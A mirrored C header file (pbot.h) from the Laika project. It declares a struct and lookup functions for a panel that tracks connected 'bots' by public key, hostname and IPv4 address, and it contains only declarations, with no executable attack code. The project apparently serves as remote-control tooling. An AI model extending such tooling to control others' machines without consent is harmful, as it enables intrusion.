mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-10 00:00:05 +00:00
25 lines
610 B
C
25 lines
610 B
C
#ifndef PBOT_H
|
|
#define PBOT_H
|
|
|
|
#include "laika.h"
|
|
#include "lpeer.h"
|
|
#include "lrsa.h"
|
|
|
|
#include "panel.h"
|
|
|
|
typedef struct sPanel_bot {
|
|
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
|
|
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
|
|
PEERTYPE type;
|
|
tPanel_listItem *item;
|
|
char *name; /* heap allocated string */
|
|
} tPanel_bot;
|
|
|
|
tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4);
|
|
void panelB_freeBot(tPanel_bot *bot);
|
|
|
|
/* search connected bots by public key */
|
|
tPanel_bot *panelB_getBot(uint8_t *pubKey);
|
|
void panelB_setItem(tPanel_bot *bot, tPanel_listItem *item);
|
|
|
|
#endif |